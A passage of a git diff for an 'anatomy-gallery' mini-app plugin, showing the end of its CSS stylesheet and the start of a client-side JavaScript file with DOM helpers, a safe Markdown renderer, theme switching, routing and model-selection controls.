/ 3; + overflow: hidden; +} + +.live iframe { + position: absolute; + top: 0; + left: 0; + width: 860px; + height: 645px; + border: 0; + transform-origin: 0 0; + pointer-events: none; +} + +.hero .live { + position: absolute; + inset: 32px 40px 8px; + aspect-ratio: auto; + background: transparent !important; +} + +.hero .art img { + width: 100%; + height: 100%; + object-fit: contain; + padding: 32px 40px 8px; +} + +.tile-frame .live { + background: transparent !important; +} + +.live[data-figure-theme='dark'] { + background: var(--figure-dark-bg); +} + +.live[data-figure-theme='light'] { + background: var(--figure-light-bg); +} + +.placeholder { + aspect-ratio: 4 / 3; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + gap: 8px; + color: var(--mcode-text-subtle); + font-size: 12px; +} + +.status-dot { + position: absolute; + top: 10px; + left: 10px; + display: inline-flex; + align-items: center; + gap: 6px; + height: 24px; + padding: 0 10px; + border-radius: 999px; + font-size: 12px; + background: var(--mcode-surface); + color: var(--mcode-text-muted); + box-shadow: var(--mcode-shadow); +} + +.status-dot::before { + content: ''; + width: 6px; + height: 6px; + border-radius: 50%; + background: currentColor; +} + +.status-dot.running, +.pill.running { + color: var(--mcode-accent); +} + +.status-dot.warn, +.pill.warn { + color: var(--mcode-warning); +} + +.status-dot.bad, +.pill.bad { + color: var(--mcode-danger); +} + +/* ---------- rooms ---------- */ +.rooms { + display: flex; + align-items: center; + justify-content: space-between; + gap: 12px; + margin: 0 0 20px; +} + +.room-tabs { + display: flex; + gap: 4px; + overflow-x: auto; + scrollbar-width: none; + min-width: 0; +} + +.room-tab { + display: inline-flex; + align-items: center; + gap: 6px; + flex-shrink: 0; + height: 32px; + padding: 0 12px; + border-radius: 999px; + color: var(--mcode-text-muted); + text-decoration: none; + white-space: nowrap; + transition: background-color 150ms ease-out, color 150ms ease-out; +} + +.room-tab:hover { + background: var(--mcode-bg-secondary); + color: var(--mcode-text); +} + +.room-tab[aria-current='page'] { + background: var(--mcode-primary-action-bg); + color: var(--mcode-primary-action-text); +} + +.room-count { + font-size: 12px; + opacity: 0.65; +} + +.rooms .btn { + flex-shrink: 0; +} + +/* Rows share one set of columns (subgrid) so every name field lines up, + whether or not the row has a remove button. */ +.room-rows { + list-style: none; + margin: 0; + padding: 0; + display: grid; + grid-template-columns: auto minmax(0, 1fr) auto auto; + column-gap: 8px; + row-gap: 6px; + max-height: 320px; + overflow: auto; +} + +.room-row { + display: grid; + grid-column: 1 / -1; + grid-template-columns: subgrid; + align-items: center; +} + +.room-row input[type='text'] { + height: 34px; +} + +.room-order { + display: flex; + flex-direction: column; +} + +.icon-btn.sm { + width: 24px; + height: 16px; + border-radius: 4px; +} + +.icon-btn:disabled { + opacity: 0.3; + cursor: not-allowed; +} + +.room-row-count { + white-space: nowrap; +} + +.danger-text, +.btn.ghost.danger-text { + color: var(--mcode-danger); +} + +.room-add { + display: flex; + gap: 8px; +} + +.room-add input { + flex: 1; +} + +.empty-room { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; + padding: 28px; + border: 1px dashed var(--mcode-border); + border-radius: 12px; + color: var(--mcode-text-muted); +} + +.notice { + margin-bottom: 24px; + padding: 10px 14px; + border-radius: 12px; + background: var(--mcode-bg-secondary); + color: var(--mcode-text-muted); +} + +/* ---------- stage (immersive viewer) ---------- */ +.stage { + position: relative; + overflow: hidden; + display: flex; + flex-direction: column; + height: 100vh; + background: var(--stage-bg); + color: var(--stage-text); + transition: background-color 200ms ease-out; +} + +.stage[data-figure-theme='dark'] { + --stage-bg: var(--figure-dark-bg); + --stage-text: var(--figure-dark-text); + --stage-muted: var(--figure-dark-muted); + --stage-chip: var(--figure-dark-chip); + --stage-chip-hover: var(--figure-dark-chip-hover); + --stage-line: var(--figure-dark-line); + color-scheme: dark; +} + +.stage[data-figure-theme='light'] { + --stage-bg: var(--figure-light-bg); + --stage-text: var(--figure-light-text); + --stage-muted: var(--figure-light-muted); + --stage-chip: var(--figure-light-chip); + --stage-chip-hover: var(--figure-light-chip-hover); + --stage-line: var(--figure-light-line); + color-scheme: light; +} + +.stage-bar { + display: flex; + align-items: center; + justify-content: space-between; + gap: 12px; + padding: 10px 16px; + border-bottom: 1px solid var(--stage-line); +} + +.stage-left, +.stage-right { + display: flex; + align-items: center; + gap: 6px; + min-width: 0; +} + +.stage-left { + flex: 1; +} + +.stage-title { + display: flex; + flex-direction: column; + min-width: 0; + margin-left: 4px; +} + +.stage-title strong { + font-weight: 500; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +.stage-title span { + font-size: 12px; + color: var(--stage-muted); +} + +.chip { + display: inline-flex; + align-items: center; + gap: 6px; + height: 30px; + padding: 0 10px; + border: 0; + border-radius: 8px; + background: var(--stage-chip); + color: var(--stage-text); + font: inherit; + font-size: 13px; + cursor: pointer; + white-space: nowrap; + transition: background-color 150ms ease-out; +} + +.chip:hover:not(:disabled), +.chip[aria-pressed='true'], +.chip[aria-expanded='true'] { + background: var(--stage-chip-hover); +} + +.chip:disabled { + opacity: 0.4; + cursor: not-allowed; +} + +.seg { + display: inline-flex; + flex-shrink: 0; + gap: 2px; + padding: 2px; + border-radius: 8px; + background: var(--stage-chip); +} + +.seg .chip { + height: 26px; + background: transparent; + color: var(--stage-muted); +} + +.seg .chip[aria-pressed='true'] { + background: var(--stage-chip-hover); + color: var(--stage-text); +} + +.stage-right > * { + flex-shrink: 0; +} + +.chip.icon-only { + width: 30px; + padding: 0; + justify-content: center; +} + +.chip.primary { + background: var(--stage-text); + color: var(--stage-bg); +} + +.chip.primary:hover { + opacity: 0.88; +} + +select.chip { + width: auto; + max-width: 140px; + height: 30px; + appearance: none; + padding-right: 26px; + background-image: linear-gradient(45deg, transparent 50%, currentColor 50%), linear-gradient(135deg, currentColor 50%, transparent 50%); + background-position: calc(100% - 13px) 13px, calc(100% - 9px) 13px; + background-size: 4px 4px, 4px 4px; + background-repeat: no-repeat; + background-color: var(--stage-chip); +} + +select.chip option { + color: var(--mcode-text); + background: var(--mcode-surface); +} + +.pill { + display: inline-flex; + align-items: center; + gap: 6px; + height: 30px; + padding: 0 10px; + border: 0; + border-radius: 999px; + background: var(--stage-chip); + font: inherit; + font-size: 12px; + cursor: pointer; +} + +.stage .menu { + color: var(--mcode-text); +} + +.stage-body { + position: relative; + flex: 1; + display: flex; + min-height: 0; +} + +.stage-art { + position: relative; + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; +} + +.stage-canvas { + position: relative; + flex: 1; + min-height: 0; +} + +.stage-art iframe { + position: absolute; + inset: 0; + width: 100%; + height: 100%; + border: 0; +} + +.stage-overlay { + position: absolute; + inset: 0; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + gap: 10px; + padding: 24px; + text-align: center; + background: var(--stage-bg); + color: var(--stage-muted); +} + +.stage-overlay p { + max-width: 360px; +} + +/* ---------- drawer ---------- */ +.drawer { + width: 360px; + flex-shrink: 0; + display: flex; + flex-direction: column; + border-left: 1px solid var(--mcode-border); + background: var(--mcode-bg); + color: var(--mcode-text); + min-height: 0; +} + +.tabs { + display: flex; + gap: 4px; + padding: 10px 12px 0; + border-bottom: 1px solid var(--mcode-border); +} + +.tab { + height: 34px; + padding: 0 12px; + border: 0; + border-bottom: 2px solid transparent; + background: transparent; + color: var(--mcode-text-muted); + font: inherit; + cursor: pointer; +} + +.tab[aria-selected='true'] { + color: var(--mcode-text); + border-bottom-color: var(--mcode-text); +} + +.tab-close { + margin-left: auto; + align-self: center; +} + +.tabpanel { + flex: 1; + overflow: auto; + padding: 16px; + display: flex; + flex-direction: column; + gap: 16px; +} + +.block { + display: flex; + flex-direction: column; + gap: 10px; +} + +.block + .block { + padding-top: 16px; + border-top: 1px solid var(--mcode-border); +} + +.run-line { + display: flex; + align-items: center; + gap: 8px; +} + +.tail { + max-height: 120px; + overflow: auto; + padding: 8px 10px; + border-radius: 8px; + background: var(--mcode-bg-secondary); + color: var(--mcode-text-muted); + font-size: 12px; + line-height: 18px; + white-space: pre-wrap; + word-break: break-word; +} + +.summary { + padding: 10px 12px; + border-radius: 8px; + background: var(--mcode-bg-secondary); + font-size: 13px; + line-height: 20px; + word-break: break-word; +} + +.md p { + margin: 0; +} + +.md p + p, +.md p + ul, +.md p + ol, +.md ul + p, +.md ol + p { + margin-top: 8px; +} + +.md ul, +.md ol { + margin: 0; + padding-left: 18px; +} + +.md li + li { + margin-top: 2px; +} + +.md strong { + font-weight: 600; +} + +.md code { + padding: 1px 5px; + border-radius: 4px; + background: var(--mcode-surface); + font-family: 'JetBrains Mono', ui-monospace, SFMono-Regular, Menlo, monospace; + font-size: 12px; +} + +.drawer .field-row.compact { + flex-direction: column; + gap: 10px; +} + +.ask { + display: flex; + flex-direction: column; + gap: 8px; + padding: 12px; + border-radius: 10px; + border: 1px solid color-mix(in srgb, var(--mcode-warning) 45%, transparent); + background: color-mix(in srgb, var(--mcode-warning) 6%, transparent); +} + +.ask pre { + margin: 0; + max-height: 120px; + overflow: auto; + white-space: pre-wrap; + word-break: break-all; + color: var(--mcode-text-muted); +} + +.row { + display: flex; + align-items: center; + justify-content: flex-end; + gap: 8px; + flex-wrap: wrap; +} + +.row.start { + justify-content: flex-start; +} + +.badge { + display: inline-flex; + align-items: center; + gap: 6px; + height: 22px; + padding: 0 8px; + border-radius: 999px; + font-size: 12px; + border: 1px solid var(--mcode-border); + color: var(--mcode-text-muted); +} + +.badge::before { + content: ''; + width: 6px; + height: 6px; + border-radius: 50%; + background: currentColor; +} + +.badge.ok { + color: var(--mcode-success); +} + +.badge.warn { + color: var(--mcode-warning); +} + +.badge.bad { + color: var(--mcode-danger); +} + +.badge.running { + color: var(--mcode-accent); +} + +.process-head { + display: flex; + flex-direction: column; + gap: 8px; + padding: 10px 12px; + border-radius: 10px; + background: var(--mcode-bg-secondary); +} + +.timeline { + list-style: none; + margin: 0; + padding: 0 0 0 14px; + border-left: 1px solid var(--mcode-border); + display: flex; + flex-direction: column; + gap: 14px; +} + +.tl-item { + position: relative; + display: flex; + flex-direction: column; + gap: 4px; + font-size: 13px; + line-height: 20px; +} + +.tl-item::before { + content: ''; + position: absolute; + left: -18px; + top: 7px; + width: 7px; + height: 7px; + border-radius: 50%; + background: var(--mcode-text-subtle); +} + +.tl-message::before { + background: var(--mcode-text); +} + +.tl-ask::before { + background: var(--mcode-warning); +} + +.tl-request::before { + background: var(--mcode-accent); +} + +.tl-meta { + display: flex; + justify-content: space-between; + gap: 8px; + font-size: 12px; + color: var(--mcode-text-muted); +} + +.tl-meta span:last-child { + flex-shrink: 0; + font-family: 'JetBrains Mono', ui-monospace, SFMono-Regular, Menlo, monospace; + font-size: 11px; + color: var(--mcode-text-subtle); +} + +.tl-tools .tl-meta span:first-child, +.tl-note .tl-meta span:first-child { + color: var(--mcode-text-muted); +} + +.tl-message .md { + word-break: break-word; +} + +.tl-steps { + margin: 6px 0 0; + padding-left: 18px; + font-family: 'JetBrains Mono', ui-monospace, SFMono-Regular, Menlo, monospace; + font-size: 11px; + line-height: 17px; + color: var(--mcode-text-muted); + max-height: 200px; + overflow: auto; +} + +.tl-steps .bad { + color: var(--mcode-danger); +} + +.tl-prompt { + margin: 6px 0 0; + max-height: 220px; + overflow: auto; + padding: 8px 10px; + border-radius: 8px; + background: var(--mcode-bg-secondary); + white-space: pre-wrap; + word-break: break-word; + font-size: 11px; + line-height: 17px; + color: var(--mcode-text-muted); +} + +.versions { + list-style: none; + margin: 0; + padding: 0; + display: flex; + flex-direction: column; + gap: 6px; +} + +.version-item { + width: 100%; + display: grid; + grid-template-columns: 64px 1fr; + gap: 10px; + align-items: center; + padding: 6px; + border: 1px solid transparent; + border-radius: 10px; + background: transparent; + color: inherit; + font: inherit; + text-align: left; + cursor: pointer; +} + +.version-item:hover { + background: var(--mcode-bg-secondary); +} + +.version-item[aria-current='true'] { + border-color: var(--mcode-border); + background: var(--mcode-bg-secondary); +} + +.version-thumb { + width: 64px; + height: 48px; + border-radius: 6px; + overflow: hidden; + background: var(--tile-bg); + display: flex; + align-items: center; + justify-content: center; + color: var(--mcode-text-subtle); + font-size: 12px; +} + +.version-thumb img { + width: 100%; + height: 100%; + object-fit: cover; +} + +.version-thumb img.invert { + filter: invert(1) hue-rotate(180deg) contrast(0.92); +} + +.version-text { + display: flex; + flex-direction: column; + min-width: 0; +} + +.version-text strong { + font-weight: 500; + font-size: 13px; +} + +.version-text span { + font-size: 12px; + line-height: 17px; + color: var(--mcode-text-muted); +} + +.kv { + display: grid; + grid-template-columns: 72px 1fr; + gap: 6px 10px; + margin: 0; + font-size: 13px; +} + +.kv dt { + color: var(--mcode-text-muted); +} + +.kv dd { + margin: 0; + word-break: break-all; +} + +.prompt-text { + white-space: pre-wrap; + font-size: 13px; +} + +/* ---------- filmstrip ---------- */ +.filmstrip { + display: flex; + align-items: center; + gap: 8px; + padding: 10px 16px; + border-top: 1px solid var(--stage-line); +} + +.film { + display: flex; + gap: 8px; + overflow-x: auto; + flex: 1; + scrollbar-width: thin; + padding: 2px; +} + +.film-item { + flex-shrink: 0; + width: 76px; + height: 52px; + padding: 0; + border: 0; + border-radius: 6px; + overflow: hidden; + background: var(--stage-chip); + color: var(--stage-muted); + font: inherit; + font-size: 11px; + line-height: 14px; + cursor: pointer; + opacity: 0.55; + transition: opacity 150ms ease-out; +} + +.film-item:hover, +.film-item[aria-current='true'] { + opacity: 1; +} + +.film-item[aria-current='true'] { + box-shadow: 0 0 0 2px var(--stage-text); +} + +.film-item img { + width: 100%; + height: 100%; + object-fit: cover; +} + +.film-item img.invert { + filter: invert(1) hue-rotate(180deg) contrast(0.92); +} + +.film-item span { + display: block; + padding: 4px; + overflow: hidden; +} + +/* ---------- forms and dialogs ---------- */ +select, +input[type='text'], +textarea { + width: 100%; + border: 1px solid var(--mcode-border); + border-radius: 8px; + background: var(--mcode-surface-muted); + color: var(--mcode-text); + font: inherit; +} + +select, +input[type='text'] { + height: 40px; + padding: 0 12px; +} + +select:not(.chip) { + appearance: none; + padding-right: 36px; + background-image: linear-gradient(45deg, transparent 50%, var(--mcode-text-muted) 50%), linear-gradient(135deg, var(--mcode-text-muted) 50%, transparent 50%); + background-position: calc(100% - 19px) 17px, calc(100% - 14px) 17px; + background-size: 5px 5px, 5px 5px; + background-repeat: no-repeat; +} + +select:not(.chip):focus-visible, +input[type='text']:focus-visible, +textarea:focus-visible { + outline: none; + border-color: var(--mcode-accent); + box-shadow: 0 0 0 3px color-mix(in srgb, var(--mcode-accent) 18%, transparent); +} + +textarea { + padding: 8px 10px; + resize: vertical; + min-height: 88px; +} + +textarea::placeholder, +input::placeholder { + color: var(--mcode-text-subtle); +} + +.field { + display: flex; + flex-direction: column; + gap: 6px; + flex: 1; + min-width: 0; + margin: 0; + padding: 0; + border: 0; +} + +.field > span, +.field > legend { + padding: 0; + font-size: 13px; + color: var(--mcode-text-muted); +} + +.field-row { + display: flex; + gap: 12px; +} + +.field-row.compact select { + height: 34px; + font-size: 13px; +} + +select:disabled { + opacity: 0.55; + cursor: not-allowed; +} + +.choice-cards { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 10px; +} + +.choice { + position: relative; + display: flex; + flex-direction: column; + gap: 2px; + padding: 10px 12px; + border: 1px solid var(--mcode-border); + border-radius: 10px; + background: var(--mcode-surface-muted); + cursor: pointer; + transition: border-color 150ms ease-out, background-color 150ms ease-out; +} + +.choice:hover { + border-color: var(--mcode-text-subtle); +} + +.choice input { + position: absolute; + opacity: 0; + pointer-events: none; +} + +.choice-title { + font-weight: 500; +} + +.choice-desc { + font-size: 12px; + line-height: 17px; + color: var(--mcode-text-muted); +} + +.choice:has(input:checked) { + border-color: var(--mcode-text); + background: var(--mcode-surface); + box-shadow: 0 0 0 1px var(--mcode-text); +} + +.choice:has(input:focus-visible) { + outline: 2px solid var(--mcode-accent); + outline-offset: 2px; +} + +.segmented { + display: inline-flex; + padding: 2px; + border-radius: 8px; + background: var(--mcode-bg-secondary); + border: 1px solid var(--mcode-border); +} + +.segmented label { + position: relative; +} + +.segmented input { + position: absolute; + opacity: 0; + pointer-events: none; +} + +.segmented span { + display: inline-flex; + align-items: center; + height: 30px; + padding: 0 10px; + border-radius: 6px; + color: var(--mcode-text-muted); + font-size: 13px; + cursor: pointer; + white-space: nowrap; +} + +.segmented input:checked + span { + background: var(--mcode-selected-bg); + color: var(--mcode-text); + box-shadow: 0 0 0 1px var(--mcode-border); +} + +.segmented input:focus-visible + span { + outline: 2px solid var(--mcode-accent); + outline-offset: 1px; +} + +dialog { + width: min(560px, calc(100vw - 32px)); + padding: 0; + border: 1px solid var(--mcode-border); + border-radius: 12px; + background: var(--mcode-surface); + color: var(--mcode-text); + box-shadow: var(--mcode-shadow); +} + +dialog::backdrop { + background: rgb(0 0 0 / 40%); +} + +.dialog-body { + display: flex; + flex-direction: column; + gap: 14px; + padding: 20px; +} + +.form-error { + color: var(--mcode-danger); + font-size: 13px; +} + +.form-error:empty { + display: none; +} + +.dialog-actions { + display: flex; + justify-content: flex-end; + gap: 8px; +} + +.spinner { + width: 14px; + height: 14px; + border-radius: 50%; + border: 2px solid currentColor; + border-top-color: transparent; + opacity: 0.8; + animation: spin 900ms linear infinite; + flex-shrink: 0; +} + +@keyframes spin { + to { + transform: rotate(360deg); + } +} + +.toast { + position: fixed; + left: 50%; + bottom: 24px; + z-index: 40; + transform: translateX(-50%); + max-width: min(520px, calc(100vw - 32px)); + padding: 8px 14px; + border-radius: 8px; + background: var(--mcode-primary-action-bg); + color: var(--mcode-primary-action-text); + font-size: 13px; + opacity: 0; + pointer-events: none; + transition: opacity 200ms ease-out; +} + +.toast.show { + opacity: 1; +} + +@media (max-width: 960px) { + .drawer { + width: 300px; + } + + .stage-overlay p { + max-width: 260px; + } +} + +@media (max-width: 640px) { + .drawer { + position: absolute; + inset: 0; + z-index: 10; + width: auto; + border-left: 0; + } +} + +@media (max-width: 768px) { + .topbar { + padding: 12px 16px; + } + + main { + padding: 0 16px 32px; + } + + .field-row { + flex-direction: column; + } + + .hero-caption { + flex-direction: column; + align-items: flex-start; + } + + .stage-title span { + display: none; + } + + .chip .chip-label { + display: none; + } + + .choice-cards { + grid-template-columns: 1fr; + } +} + +@media (prefers-reduced-motion: reduce) { + .spinner { + animation: none; + } + + * { + transition: none !important; + } +} diff --git a/plugins/zch0227/anatomy-gallery/miniapp/client/app.js b/plugins/zch0227/anatomy-gallery/miniapp/client/app.js new file mode 100644 index 00000000..88d43c81 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/client/app.js @@ -0,0 +1,1780 @@ +// @ts-check +/// + +/* ================= helpers ================= */ + +/** + * @param {string} tag + * @param {Record} [props] + * @param {...any} children + * @returns {HTMLElement} + */ +function h(tag, props = {}, ...children) { + const el = document.createElement(tag); + for (const [key, value] of Object.entries(props)) { + if (value == null || value === false) continue; + if (key === 'class') el.className = value; + else if (key.startsWith('on') && typeof value === 'function') el.addEventListener(key.slice(2), value); + else if (value === true) el.setAttribute(key, ''); + else el.setAttribute(key, String(value)); + } + for (const child of children.flat()) { + if (child == null || child === false) continue; + el.append(child instanceof Node ? child : document.createTextNode(String(child))); + } + return el; +} + +const ICONS = { + cube: '', + chat: '', + back: '', + next: '', + more: '', + panel: '', + close: '', + up: '', + down: '', +}; + +/** @param {keyof typeof ICONS} name @param {number} [size] */ +function icon(name, size = 16) { + const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); + for (const [k, v] of Object.entries({ viewBox: '0 0 24 24', width: size, height: size, fill: 'none', stroke: 'currentColor', 'stroke-width': '1.6', 'stroke-linejoin': 'round', 'stroke-linecap': 'round', 'aria-hidden': 'true' })) { + svg.setAttribute(k, String(v)); + } + svg.innerHTML = ICONS[name]; + return /** @type {any} */ (svg); +} + +/** @param {string} path @param {{ method?: string, body?: any }} [options] */ +async function api(path, options = {}) { + const response = await fetch(path, { + method: options.method ?? 'GET', + headers: options.body ? { 'content-type': 'application/json' } : undefined, + body: options.body ? JSON.stringify(options.body) : undefined, + }); + const isJson = response.headers.get('content-type')?.includes('application/json'); + const data = isJson ? await response.json() : null; + if (!response.ok) throw new Error(data?.message ?? `请求失败(${response.status})`); + return data; +} + +/** @param {number} ms */ +function when(ms) { + const diff = Date.now() - ms; + if (diff < 60_000) return '刚刚'; + if (diff < 3_600_000) return `${Math.floor(diff / 60_000)} 分钟前`; + if (diff < 86_400_000) return `${Math.floor(diff / 3_600_000)} 小时前`; + const d = new Date(ms); + return `${d.getMonth() + 1} 月 ${d.getDate()} 日`; +} + +/** @param {number} ms */ +function elapsed(ms) { + const total = Math.max(0, Math.floor((Date.now() - ms) / 1000)); + const m = Math.floor(total / 60); + return m >= 60 ? `${Math.floor(m / 60)} 小时 ${m % 60} 分` : `${m}:${String(total % 60).padStart(2, '0')}`; +} + +/** replaceChildren() would insert null as the text "null"; skip empty slots. @param {Element} el @param {...any} children */ +function fill(el, ...children) { + el.replaceChildren(...children.flat().filter((child) => child != null && child !== false)); +} + +/* + * Agent replies are Markdown. Render a small safe subset (paragraphs, line breaks, lists, headings, + * **bold**, `code`) as DOM nodes; text is never parsed as HTML. + */ +/** @param {string} text @param {boolean} [allowBold] @returns {(string | Node)[]} */ +function mdInline(text, allowBold = true) { + const out = []; + const pattern = allowBold ? /(`[^`\n]+`|\*\*[^*\n]+\*\*)/g : /(`[^`\n]+`)/g; + let last = 0; + let match; + while ((match = pattern.exec(text))) { + if (match.index > last) out.push(text.slice(last, match.index)); + const token = match[0]; + out.push(token.startsWith('`') ? h('code', {}, token.slice(1, -1)) : h('strong', {}, mdInline(token.slice(2, -2), false))); + last = match.index + token.length; + } + if (last < text.length) out.push(text.slice(last)); + return out; +} + +/** @param {string} text */ +function markdown(text) { + const root = h('div', { class: 'md' }); + const LIST = /^\s*(?:[-*•]|\d+[.)])\s+/; + // Host delivery markup ( with tags) is not prose. + const prose = text.replace(/\r\n/g, '\n').replace(/[\s\S]*?(<\/deliver-assets>|$)/g, '').trim(); + for (const block of prose.split(/\n{2,}/)) { + const lines = block.split('\n').filter((line) => line.trim() !== ''); + if (lines.length === 0) continue; + if (lines.every((line) => LIST.test(line))) { + const list = h(/^\s*\d/.test(lines[0]) ? 'ol' : 'ul', {}); + for (const line of lines) list.append(h('li', {}, mdInline(line.replace(LIST, '')))); + root.append(list); + continue; + } + const paragraph = h('p', {}); + lines.forEach((line, index) => { + if (index) paragraph.append(h('br')); + const heading = /^#{1,6}\s+/.exec(line); + paragraph.append(...(heading ? [h('strong', {}, mdInline(line.slice(heading[0].length), false))] : mdInline(line))); + }); + root.append(paragraph); + } + return root; +} + +/** Streaming text may be cut mid-token, so only strip the markers. @param {string} text */ +const plainText = (text) => text.replace(/\*\*|`|^#{1,6}\s+/gm, ''); + +let toastTimer = 0; +/** @param {string} text */ +function toast(text) { + const el = /** @type {HTMLElement} */ (document.getElementById('toast')); + el.textContent = text; + el.classList.add('show'); + clearTimeout(toastTimer); + toastTimer = window.setTimeout(() => el.classList.remove('show'), 3200); +} + +/** @param {unknown} error */ +const message = (error) => /** @type {Error} */ (error)?.message ?? String(error); + +const RUN_STATUS = { + running: ['制作中', 'running'], + question: ['等你回答', 'warn'], + failed: ['失败', 'bad'], + error: ['出错', 'bad'], + unknown: ['结果未知', 'warn'], + aborted: ['已取消', ''], + interrupted: ['已中断', 'warn'], + finished: ['已完成', 'ok'], +}; + +/** + * A stored model selection named the way the model picker names it, for example + * "M3.1-Flash-Preview(minimax)· 思考强度:默认". Falls back to the raw model id until the catalog loads. + * @param {any} model + */ +function modelLabel(model) { + if (!model?.modelId) return ''; + const option = (catalogCache?.models ?? []).find((/** @type {any} */ o) => o.providerId === model.providerId && o.modelId === model.modelId); + const provider = String(model.providerId ?? '').replace(/^custom_provider:/, ''); + const name = (option?.displayName || model.modelId) + (provider ? `(${provider})` : ''); + let thinking = ''; + if (model.variant === '') thinking = '关闭思考'; + else if (model.effort && model.effort !== 'default') thinking = `思考强度:${effortLabel(model.effort)}`; + else if (model.variant) thinking = `思考强度:${defaultEffortText(option)}`; + return thinking ? `${name} · ${thinking}` : name; +} + +/** "默认(极高)" when the catalog names the default level, otherwise just "默认". @param {any} option */ +function defaultEffortText(option) { + const level = option?.thinking?.default; + return level && level !== 'default' ? `默认(${effortLabel(level)})` : '默认'; +} + +/** @param {string} status */ +function badge(status) { + const [text, cls] = RUN_STATUS[/** @type {keyof typeof RUN_STATUS} */ (status)] ?? [status, '']; + return h('span', { class: `badge ${cls}` }, text); +} + +/* ================= theme ================= */ + +// The Host does not pass MCode's own theme to Mini Apps, so the user can override the system scheme. +const THEME_KEY = 'anatomy-gallery-theme'; +const media = window.matchMedia('(prefers-color-scheme: dark)'); +/** @type {Set<(theme: string) => void>} */ +const themeListeners = new Set(); +const galleryTheme = () => (document.documentElement.dataset.theme === 'light' ? 'light' : 'dark'); + +function applyTheme() { + const stored = localStorage.getItem(THEME_KEY); + const choice = stored === 'light' || stored === 'dark' ? stored : 'system'; + document.documentElement.dataset.theme = choice === 'system' ? (media.matches ? 'dark' : 'light') : choice; + for (const item of document.querySelectorAll('[data-theme-choice]')) { + item.setAttribute('aria-checked', String(item.getAttribute('data-theme-choice') === choice)); + } + for (const listener of themeListeners) listener(galleryTheme()); +} +media.addEventListener('change', applyTheme); + +/* ================= menus ================= */ + +/** @param {HTMLButtonElement} button @param {HTMLElement} menu */ +function bindMenu(button, menu) { + const close = () => { + menu.hidden = true; + button.setAttribute('aria-expanded', 'false'); + }; + button.addEventListener('click', (event) => { + event.stopPropagation(); + const open = menu.hidden; + document.querySelectorAll('.menu').forEach((other) => other !== menu && (/** @type {HTMLElement} */ (other).hidden = true)); + menu.hidden = !open; + button.setAttribute('aria-expanded', String(open)); + if (open) /** @type {HTMLElement | null} */ (menu.querySelector('button'))?.focus(); + }); + menu.addEventListener('keydown', (event) => { + if (event.key === 'Escape') { + close(); + button.focus(); + } + }); + menu.addEventListener('click', (event) => { + if (/** @type {HTMLElement} */ (event.target).closest('button')) close(); + }); + document.addEventListener('click', (event) => { + if (!menu.hidden && !menu.contains(/** @type {Node} */ (event.target))) close(); + }); + return close; +} + +/* ================= state & routing ================= */ + +const main = /** @type {HTMLElement} */ (document.getElementById('main')); +/** @type {{ agentAvailable: boolean, figures: any[], examples: { installed: boolean, items: any[] } } | null} */ +let galleryState = null; +/** @type {any} */ +let view = { kind: 'wall' }; +let tickTimer = 0; + +/** @param {string} search */ +function go(search) { + history.pushState(null, '', `/gallery${search}`); + void render(); +} +window.addEventListener('popstate', () => void render()); + +async function loadState() { + const state = await api('/api/state'); + state.figures.sort((/** @type {any} */ a, /** @type {any} */ b) => b.updatedAt - a.updatedAt); + galleryState = state; + fillExampleOptions(); + return state; +} + +async function render() { + themeListeners.clear(); + clearInterval(tickTimer); + main.setAttribute('aria-busy', 'true'); + const params = new URLSearchParams(location.search); + try { + const figureId = params.get('figure'); + const example = params.get('example'); + if (figureId) await renderFigureStage(figureId); + else if (example) await renderExampleStage(example); + else await renderWall(); + } catch (error) { + document.body.classList.remove('mode-stage'); + main.replaceChildren( + h('div', { class: 'empty-room', role: 'alert' }, h('p', {}, `读取失败:${message(error)}`), h('button', { type: 'button', class: 'btn secondary', onclick: () => go('') }, '回到画廊')), + ); + } finally { + main.setAttribute('aria-busy', 'false'); + } +} + +/* ================= model choice ================= */ + +const EFFORT_ZH = { minimal: '最低', low: '低', medium: '中', high: '高', xhigh: '极高', max: '最高', default: '默认' }; +/** @param {string} effort */ +const effortLabel = (effort) => EFFORT_ZH[/** @type {keyof typeof EFFORT_ZH} */ (effort)] ?? effort; +const OFF = '__off__'; + +/** @type {Promise<{ models: any[], default: any, host?: any } | null> | null} */ +let catalogPromise = null; +/** @type {{ models: any[], default: any, host?: any } | null} */ +let catalogCache = null; +/** The Host's model catalog; the page API also knows the model of the chat the gallery is open in. */ +function loadCatalog() { + catalogPromise ??= (async () => { + try { + const agent = window.mcode?.miniapp?.agent; + if (agent?.models) return await agent.models(); + } catch { + /* fall back to the Node service */ + } + try { + return await api('/api/models'); + } catch { + return null; + } + })().then((catalog) => { + catalogCache = catalog; + // Model labels rendered before the catalog arrived used raw ids; repaint them with picker names. + if (catalog && view.kind === 'figure' && view.data) updateFigure(); + return catalog; + }); + return catalogPromise; +} + +/** @param {any} a @param {any} b */ +const sameModel = (a, b) => !!a && !!b && a.providerId === b.providerId && a.modelId === b.modelId; + +/** + * Fill a model select and an effort select, preselecting `initial`. + * @param {HTMLSelectElement} modelSelect @param {HTMLSelectElement} effortSelect @param {any} catalog @param {any} initial + */ +function fillModelControls(modelSelect, effortSelect, catalog, initial) { + const models = catalog?.models ?? []; + const groups = new Map(); + for (const option of models) { + const provider = String(option.providerId).replace(/^custom_provider:/, ''); + if (!groups.has(provider)) groups.set(provider, []); + groups.get(provider).push(option); + } + modelSelect.replaceChildren(...[...groups].map(([provider, options]) => + h('optgroup', { label: provider }, options.map((/** @type {any} */ option) => + h('option', { value: `${option.providerId}\u0000${option.modelId}` }, option.displayName || option.modelId))))); + const start = models.find((option) => sameModel(option, initial)) ?? models.find((option) => sameModel(option, catalog?.default)) ?? models[0]; + if (start) modelSelect.value = `${start.providerId}\u0000${start.modelId}`; + const syncEffort = (/** @type {any} */ preset) => { + const option = currentModel(modelSelect, catalog); + const efforts = option?.thinking?.efforts ?? []; + const canTurnOff = (option?.variants ?? []).includes(''); + const items = [h('option', { value: '' }, defaultEffortText(option))]; + for (const effort of efforts) if (effort !== 'default') items.push(h('option', { value: effort }, effortLabel(effort))); + if (canTurnOff) items.push(h('option', { value: OFF }, '关闭思考')); + effortSelect.replaceChildren(...items); + effortSelect.disabled = items.length <= 1; + const wanted = preset && sameModel(preset, option) ? (preset.variant === '' ? OFF : 